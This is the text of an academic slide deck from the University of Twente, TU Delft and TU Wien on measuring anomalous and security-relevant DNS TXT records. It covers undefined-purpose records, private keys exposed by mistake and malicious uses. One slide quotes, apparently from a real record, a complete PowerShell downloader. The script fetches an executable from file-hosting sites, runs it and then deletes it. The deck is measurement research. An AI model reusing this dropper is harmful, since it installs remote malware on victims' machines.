TXTing 101: Finding Security Issues in the Long Tail of DNS TXT Records

O. van der Toorn¹  R. van Rijswijk-Deij¹  T. Fiebig²  M. Lindorfer³  A. Sperotto¹
2020-08-21

¹University of Twente, ²TU Delft, and ³TU Wien
Contact details

- tide-project.nl
- o.i.vandertoorn@utwente.nl
Outline

Background

Evolution of TXT records

Undefined Purpose

Mistakes with a Security Implication

Malicious Use Cases

Takeaways
Background
• Allows for a subtle way to add functionality.
Background: DNS TXT records

- Allows for a subtle way to add functionality.
- RFC1464 tries to add structure by defining a key-value store.
• Allows for a subtle way to add functionality.
• RFC1464 tries to add structure by defining a key-value store.
• RFC5507 discouraged TXT for new expansions.
• Allows for a subtle way to add functionality.
• RFC1464 tries to add structure by defining a key-value store.
• RFC5507 discouraged TXT for new expansions.
• Common uses of TXT records are: SPF, DKIM and DMARC.
OpenINTEL an active DNS measurement platform.
OpenINTEL an active DNS measurement platform.

- 236 million domains measured on a daily basis.
OpenINTEL an active DNS measurement platform.

- 236 million domains measured on a daily basis.
- TXT records between 2015 and 2018 ($1.2 \times 10^{11}$ records).
Evolution of TXT records
Growth

Date

Growth (%)
Domains
TXT Records

Date
Number of TXT records
Email
Encoded
Miscellaneous
Other
Patterns Verification
Number of TXT records
20 M 40 M 60 M 80 M
Date

Legend:
- Email
- Miscellaneous
- Patterns
- Verification
- Encoded
- Other
Other TXT Records

![Graph showing the number of TXT records over time](image)

- **Date**
  - 2015-07
  - 2016-01
  - 2016-07
  - 2017-01
  - 2017-07
  - 2018-01
  - 2018-07

- **Number of TXT records**
  - 0
  - 500k
  - 1M

- **Categories**
  - Malicious
  - Unclassified
  - Undefined Purpose
  - Mistakes
Undefined Purpose
Type of records in this category:

- Base 64 Encoded MX Records
Type of records in this category:

- Base 64 Encoded MX Records
- Empty, or executable references
Undefined Purpose

Type of records in this category:

- Base 64 Encoded MX Records
- Empty, or executable references
- Single Character TXT records
Single Character Records

```
wtmc@localhost:~$ dig -t TXT single_char.example.org
single_char.example.org. 3600 IN TXT "@"
```
Single Character Records
Origin Tilde Character Records

Number of records (log)

- 40034
- 19905
- 13335
Single Character Records

- Might be used to identify domains
Single Character Records

- Might be used to identify domains
- Does not have a security impact
Mistakes with a Security Implication
Mistakes with a Security Implication

Type of records in this category:

• Certificates
Mistakes with a Security Implication

Type of records in this category:

• Certificates
• Public and Private Keys
Public and Private Keys

wtmc@localhost:~$ dig -t TXT key.example.org
key.example.org. 3600 IN TXT "-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqGKukO1De7zhZj6+
H0qtjTkVxwTCpvKe4eCZ0FPqri0cb2JZfXJ/DgYSF6vUpwmJG8wVQZK
jeGcjDOL5UlsuusFncCzWBQ7RKNUSesmQRMSGkVb1/3j+skZ6UtW+5u
09lHNsj6tQ51s1SPrCBkedbNf0Tp0GbMJDyR4e9T04ZZwIDAQAB
-----END PUBLIC KEY-----"
At 2018-12-31 there were 89 domains exposing keys:
At 2018-12-31 there were 89 domains exposing keys:

- 54 exposed a single key
At 2018-12-31 there were 89 domains exposing keys:

- 54 exposed a single key
  - 55.6% expose a private key
At 2018-12-31 there were 89 domains exposing keys:

- 54 exposed a single key
  - 55.6% expose a private key
- 35 exposed two keys
At 2018-12-31 there were 89 domains exposing keys:

- 54 exposed a single key
  - 55.6% expose a private key
- 35 exposed two keys
  - 94.3% expose a matching key pair
Public and Private Keys

- May invalidate security measures like DKIM
• May invalidate security measures like DKIM
• Shows a misunderstanding of the security technology
Malicious Use Cases
Malicious Use Cases

Type of records in this category:

• Commands
Malicious Use Cases

Type of records in this category:

- Commands
- JavaScript
Malicious Use Cases

Type of records in this category:

- Commands
- JavaScript
- PowerShell
`wtmc@localhost:~$ dig -t TXT powershell.example.org`
`powershell.example.org. 3600 IN TXT ...`
$a = (new-object net.webclient);
$b = $Env:APPDATA;
$w = $Env:WINDIR;
$c = $b + '\t.txt';
$g = $b + '\t.exe';
$p = $w + '//Microsoft.NET//Framework/';
if (gci -Path $p | where {$_.Name -like 'v4*'}) {
    try {
        $a.DownloadFile('https://filebin.ca/A', $c);
        ren $c t.exe;
        start $g
    }
    catch {
        $a.DownloadFile('https://files.fm/down.php?i=B', $c);
        ren $c t.exe; start $g
    }
} else {
    try {
        $a.DownloadFile('https://filebin.ca/C', $c);
        ren $c t.exe;
        start $g
    }
    catch {
        $a.DownloadFile('https://files.fm/down.php?i=D', $c);
        ren $c t.exe;
        start $g
    }
};
sleep 180;
rm $g
Adoption of Zoom verification tokens

- "regular" growth
- WHO publishes news on the virus
- Many countries start to enforce WFH
- TXT record count

500 .top domains adding Zoom tokens
2.19x more records

Date
Takeaways
• The majority of DNS TXT use is well defined.
• The majority of DNS TXT use is well defined.
• We classify 99.54% of the TXT records in our dataset.
• The majority of DNS TXT use is well defined.
• We classify 99.54% of the TXT records in our dataset.
Analyzing the tail of the TXT records is not only a needle in the haystack problem, but also becomes a human intelligence problem.
Analyzing the tail of the TXT records is not only a needle in the haystack problem, but also becomes a human intelligence problem.